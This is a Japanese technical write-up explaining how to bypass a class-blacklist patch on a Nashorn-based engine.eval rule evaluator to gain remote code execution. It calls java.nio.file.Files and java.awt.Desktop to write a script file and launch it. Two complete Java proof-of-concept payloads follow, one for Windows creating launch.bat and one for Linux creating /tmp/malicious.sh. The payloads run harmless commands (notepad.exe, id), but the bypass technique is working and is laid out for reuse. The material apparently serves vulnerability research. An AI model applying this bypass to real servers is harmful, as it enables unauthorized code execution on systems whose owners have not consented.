脆弱性の核心は、検証ルールの処理に利用される `engine.eval` メソッドにあります。開発者はセキュリティパッチを適用しましたが、その対策は限定的であり、内部コマンド実行に関わる3つのクラスに対してのみブラックリストによる制限が設けられました。
Java 8で導入されたNashorn JavaScriptエンジンは、スクリプト内からJavaのクラスやメソッドを呼び出すことを可能にします。これはJDKのクラスに留まらず、プロジェクト内のあらゆるクラスやメソッドにアクセスできることを意味し、パラメータは攻撃者によって完全に制御可能です。そのため、Javaコンポーネントのセキュリティ上の脆弱性の多くが悪用される可能性があります。
本稿では、ファイルシステムへの書き込みを経由してリモートコード実行(RCE)を達成する手法について解説します。
利用する主要なクラスは以下の通りです。
- java.nio.file.Files: Java 7で導入されたNIOライブラリの一部であり、ファイルやディレクトリの操作(読み取り、書き込み、コピー、削除など)を簡素化する静的メソッドを提供します。
- java.awt.Desktop: AWT(Abstract Window Toolkit)の一部であり、デスクトップ環境との対話を可能にします。デフォルトのブラウザでURIを開いたり、デフォルトのアプリケーションでファイルを開いたりする機能を備えています。
Windows環境での検証
以下のJavaコードは、JDK内部クラスであるjava.nio.file.Files と java.awt.Desktop を使用して、一時的なバッチファイルを作成し、それを実行するプロセスを模倣しています。
public static void main(String[] args) {
try {
ScriptEngineManager scriptManager = new ScriptEngineManager();
ScriptEngine jsEngine = scriptManager.getEngineByName("JavaScript");
// Nashorn経由でJava APIを呼び出し、ファイルを作成・実行するペイロード
String payload =
"var FileUtil = Java.type('java.nio.file.Files');" +
"var PathUtil = Java.type('java.nio.file.Paths');" +
"var FileOpts = Java.type('java.nio.file.StandardOpenOption');" +
"var DesktopApi = Java.type('java.awt.Desktop');" +
"var targetPath = PathUtil.get('C:\\\\temp\\\\launch.bat');" +
"FileUtil.write(targetPath, 'notepad.exe'.getBytes(), FileOpts.CREATE);" +
"DesktopApi.getDesktop().open(targetPath.toFile());";
// スクリプトの実行
jsEngine.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
Linux環境での検証
Linux環境では、シェルスクリプトを作成し、実行権限を付与した上で起動するロジックになります。public static void main(String[] args) {
try {
ScriptEngineManager scriptManager = new ScriptEngineManager();
ScriptEngine jsEngine = scriptManager.getEngineByName("JavaScript");
// Nashorn経由でシェルスクリプトを生成・実行するペイロード
String payload =
"var FileUtil = Java.type('java.nio.file.Files');" +
"var PathUtil = Java.type('java.nio.file.Paths');" +
"var FileOpts = Java.type('java.nio.file.StandardOpenOption');" +
"var DesktopApi = Java.type('java.awt.Desktop');" +
"var targetPath = PathUtil.get('/tmp/malicious.sh');" +
"var scriptBody = '#!/bin/bash\\n/usr/bin/id';" +
"FileUtil.write(targetPath, scriptBody.getBytes(), FileOpts.CREATE);" +
"targetPath.toFile().setExecutable(true);" +
"DesktopApi.getDesktop().open(targetPath.toFile());";
// スクリプトの実行
jsEngine.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}